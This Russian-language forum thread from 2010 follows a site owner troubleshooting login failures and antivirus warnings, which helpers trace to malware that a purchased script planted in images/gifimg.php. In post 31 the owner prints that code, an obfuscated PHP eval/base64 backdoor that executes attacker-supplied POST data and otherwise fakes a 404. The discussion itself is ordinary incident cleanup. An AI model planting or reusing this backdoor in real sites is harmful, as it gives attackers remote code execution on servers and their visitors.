Возникла проблема с сайтом.

1. Александр (02.08.2010 / 11:18)
Ребят вот на мыло пришло сообщение в виде http://upwap.ru/975141 !Мол код чёт не такой,на главную страницу сайта заходит а авторизацию,и по разделам не пройти!Вчера установил новую тему,писалась на заказ!=(В чём проблема не понимаю!

2. Shur1k (02.08.2010 / 11:51)
Посмотри ли правильно авторизация проходит, site.ru/input.php И эту фень удали - .SID.

3. Александр (02.08.2010 / 12:04)
Дак а на мыло вот пришло !Чё тогда такое?А где эту хрень убрать?В какой строке?

4. Tony V (02.08.2010 / 12:05)
http://translate.google.ru/
Вбей твой текст в переводчик. Изучи.
P.S. Учи английский

5. Александр (02.08.2010 / 12:19)
4.Ненадо умничать!Порслать может каждый!переводил уже!Первый раз сталкиваюсь с такой проблемой!

6. Мансур (02.08.2010 / 12:39)
Чтото с гугл вебмастером

7. Александр (02.08.2010 / 12:50)
Я ща даже все файлы обновил,с первого апгрейда до седьмого!и тоже самое!А из за темы может что нить быть такое?

8. Александр (02.08.2010 / 12:51)
Вот в переводе! http://upwap.ru/975244

9. Shur1k (02.08.2010 / 13:34)
Может быть спокойно из-за темы, local/datamain/index.dat .sid. Это там удали и просмотри в теме ещё.

10. Александр (02.08.2010 / 13:38)
в теме такой строчки не нашёл!

11. Shur1k (02.08.2010 / 14:08)
Чё за тема ? Та зелёная на сайте у тя?

12. Александр (02.08.2010 / 14:09)
Да вот которая стоит сейчас на сайте!

13. Shur1k (02.08.2010 / 14:26)
Всё там норм, регу прошёл, вход также, разделы работают

14. Александр (02.08.2010 / 14:30)
Хз а мне никак!Не зайти!На хосте сказали попробовать комп почистить!=(

15. Александр (02.08.2010 / 14:36)
Мне даже не авторизоваться!

16. Мансур (02.08.2010 / 14:43)
Удали куки и кеш)

17. Александр (02.08.2010 / 14:52)
удалял толку нет !Кстати когда допустим включаю Спрашивать принимать ли куки то у меня сначала с сайта спрашивает,а потом спрашивает вот с этого сайта
http://upwap.ru/975380

18. Александр (02.08.2010 / 17:14)
В общем я всё перепробовал,ничего не помогает,дома на компе и на работе одно и тоже!

19. Shur1k (02.08.2010 / 22:10)
братан, та у тя вирусняк на сайте http://upwap.ru/976090

20. Александр (02.08.2010 / 22:13)
А как его оттуда вынуть?

21. Shur1k (02.08.2010 / 22:15)
удали всё счётчики, сохранись и ещё раз зайду на сайт посмотрю

22. Shur1k (02.08.2010 / 22:17)
отпишись в теме, когда удалиш

23. Дмитрий (02.08.2010 / 22:32)
HEUR:Trojan.Script.Generic

Вредоносная программа, предназначенная для несанкционированной пользователем загрузки и установки на компьютер-жертву новых версий вредоносных программ, установки троянцев или рекламных систем. Загруженные из интернета программы затем либо запускаются на выполнение, либо регистрируются троянцем на автозагрузку в соответствии с возможностями операционной системы.

Информация об именах и расположении загружаемых программ содержится в коде и данных троянца или скачивается троянцем с «управляющего» интернет-ресурса (обычно, с веб-страницы).

Данный тип вредоносных программ в последнее время стал часто использоваться для первоначального заражения посетителей заражённых веб-страниц, содержащих эксплойты.

Занес вирус - автор темы. Посмотри внимательно код или архив с темой. ИМХО

24. Nervous (02.08.2010 / 23:09)
Автор скачай бэк на комп и прогони касперским и увидеш где вирусняк.

25. Николай (02.08.2010 / 23:18)
Запрашиваемый URL-адрес не может быть предоставлен

В запрашиваемом объекте по URL-адресу:

http://inwapik.ru/

Обнаружена угроза:

объект заражен HEUR:Trojan.Script.Generic
Сообщение создано:
1:20:16
Антивирус Касперского 2010

26. Александр (03.08.2010 / 11:19)
Сейчас качаю сайт на комп,проверю на вирусняки отпишусь!а нет онлайн проверки?

27. Александр (03.08.2010 / 15:43)
Итак всё скачал,файл в папке images/gifimg.php оказался вирус,но суть в том что он весит 0кб,и пустой!Вообще ничего не догнал!

28. Shur1k (03.08.2010 / 16:38)
Вирус может и байтами быть и текст.редактор не увидит

29. iSor0k (03.08.2010 / 17:40)
онлайн - либо на уровне сервера, либо архивнуть и url бэкапа в онлайн сканер

30. Александр (03.08.2010 / 22:46)
Итак вирус был в файле gifimg.php,в скрипте сервисов который я покупал у этого человека http://visavi.net/pages/anketa.php?uz=SkoRoST&

31. Александр (03.08.2010 / 22:46)
вот код вируса
<?php  eval(base64_decode('aWYoaXNzZXQoJF9QT1NUWydlJ10pKWV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpO2Vsc2UgZGllKCc0MDQgTm90IEZvdW5kJyk7'));?> 


32. Александр (03.08.2010 / 22:48)
Но на сайт с оперы так и не заходит!и с мозилы пишет вредоносный сайт

33. Александр (05.08.2010 / 11:30)
Ребят я так и не разобрался со своей проблемой!Что мне делать?Переустановить двиг?

34. Мансур (05.08.2010 / 14:04)
А у тебе cpanel? Сессия куда сохраняется? На папку tmp? Зайди и цпанел там какойто меню есть. Там показывает весь обйем размер сайта.домашным и корневом каталоге все что есть там показывает. Показ с папками размером. Ты попробуй очистить там папки для кеша,логи,темпы. Кроме папки мотора. Наверника етот вирус спит гдето там локальным кравате))

35. Shur1k (05.08.2010 / 14:05)
Кажись была такая ситуация, переустанока двига, это не страшно. Ты главное папку Local сохрани на компе.

36. Мансур (05.08.2010 / 14:22)
35. Shur1k, ну и почему же переустанавить . Лучше очистка

37. Александр (05.08.2010 / 14:26)
Ребят хорошо!сделаю отпишусь!=)

38. Мансур (05.08.2010 / 14:30)
Сейчас точно скажу тебе

39. Мансур (05.08.2010 / 14:36)
На цпанеле зайди на Занятое дисковое пространство .
Там очисти папки: tmp/awstats,tmp/cpbandwidth,mail/tmp,tmp/webalizerftp, tmp/analog,tmp/webalizer,.cpanel/caches и.д там еще есть: очистить кеш использывание файлов. вопшем папки для мотора не трогать. Только очисти / local datatmp и datalog

40. Мансур (05.08.2010 / 14:39)
+ посматри Журнал ошибок

41. Александр (05.08.2010 / 14:46)
Чёт в цПанели не чистит их нифига!(((

42. Мансур (05.08.2010 / 14:48)
комп тоже надо очистить. Может там и червяки спят)
c:/document and settings/твой юзер/local setting/temp
и на локале termomery internet files
типо такой папку тоже очисть вручной. Ето скрытый файлы зайди настройку папки и там меню ВИД показать скрытые файлы.

43. Александр (05.08.2010 / 14:50)
Винду ток переустановил!И антивирь стоит!(((

44. Мансур (05.08.2010 / 15:01)
Тогда сканируй файлы. Или папку локал

45. Мансур (05.08.2010 / 15:03)
Твой сайт http://inwapik.ru ??ощибка 500 internal server error

46. Александр (05.08.2010 / 15:09)
Да это мой сайт!у меня вот что пишет Удаленный сервер или файл не найден

Вы попытались получить доступ к адресу http://inwapik.ru/, который сейчас недоступен. Убедитесь, что веб-адрес (URL) введен правильно, и попытайтесь перезагрузить страницу.

47. Александр (05.08.2010 / 15:16)
В общем выход один сносить сайт!=)Кроме папки локал!!!

48. Shur1k (05.08.2010 / 16:30)
Да, да.

49. Мансур (05.08.2010 / 16:49)
Ну да пробуй. Скачай локал и ету сканируй

50. Удаленный (05.08.2010 / 17:38)
а че ксс не включен к инн?

51. SIR2100 (05.08.2010 / 17:58)
Так если спанел, можно администрацию попросить проверить на наличие вирусов сайт

52. Мансур (05.08.2010 / 20:32)
Fatal error: require_once() [function.require]: Failed opening required 'includes/start.php' (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/inwapik/public_html/index.php on line 12

53. Александр (06.08.2010 / 07:57)
Это я устанавливал двиг!Короче двиг установил и не авторизоваться!Ща опять всё сношу!я уже не знаю чё такоя ***!!!Пипец какой то!=(

54. SIR2100 (06.08.2010 / 10:48)
ХиТрЫй ЛиС Йа (6 Августа 2010 / 07:57)
Это я устанавливал двиг!Короче двиг установил и не авторизоваться!Ща опять всё сношу!я уже не знаю чё такоя ***!!!Пипец какой то!=(
Если такая ошибка, возможно вирус тут ни причем. Попробуй из .htacess убрать строки
php_value error_reporting 7
php_value url_rewriter.tags On
php_value register_globals Off
php_value session.use_trans_sid On
php_value magic_quotes_gpc Off
php_value magic_quotes_runtime Off
php_value magic_quotes_sybase Off
php_value file_uploads On
php_value date.timezone "Europe/Moscow"
Только если не в этом проблема, вставь их обратно.
Это если ты на моторе

55. SIR2100 (06.08.2010 / 10:52)
хм и правда фигня какая то http://inwapik.ru/input.php?login=SIR2100&pass=TEST.
Ты на локал и все папки выставил 777?
Ты в папке локал на все файлы выставил 666?
Ты создал папку tmp в папке где доменное имя?

56. SIR2100 (06.08.2010 / 10:53)
Счетчик не показывает, значит локал не 777 и файлы не 666

57. Александр (06.08.2010 / 13:06)
Да всё ребят темку крою,переустановил двиг и всё гуд!

URL: https://visavi.net/topics/12196